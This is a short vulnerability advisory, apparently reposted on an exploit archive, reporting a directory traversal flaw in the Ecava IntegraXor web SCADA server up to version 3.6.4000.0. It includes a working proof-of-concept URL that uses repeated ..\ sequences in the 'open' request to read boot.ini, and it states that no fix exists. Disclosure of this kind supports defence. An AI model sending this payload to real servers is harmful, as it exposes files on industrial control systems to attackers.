Ecava IntegraXor 3.6.4000.0 Directory Traversal

2010-12-14
ID: 15080
CVE: None
Download vulnerable application: None
#######################################################################
                               Luigi Auriemma
  Application:  Ecava IntegraXor
              http://www.integraxor.com
Versions:     <= 3.6.4000.0
Platforms:    Windows
Bug :         directory traversal
Exploitation: remote, versus server
Date:         21 Dec 2010
Author:       Luigi Auriemma
              e-mail: [email protected]
              web:    aluigi.org
    #######################################################################
    1) Introduction
2) Bug
3) The Code
4) Fix
    #######################################################################
  ===============
1) Introduction
===============
    IntegraXor is a web SCADA server used primarily in Malaysia.
    #######################################################################
  ======
2) Bug
======
    The "open" request can be used by an attacker to download files from
the disk where the server is installed through directory traversal
attacks.
    #######################################################################
  ===========
3) The Code
===========
    http://SERVER:7131/PROJECT_NAME/open?file_name=..\..\..\..\..\..\..\..\..\..\..\boot.ini
  where PROJECT_NAME is the name of one of the projects hosted by the
server.
    #######################################################################
  ======
4) Fix
======
    No fix.
    #######################################################################
1-4-2 (www01)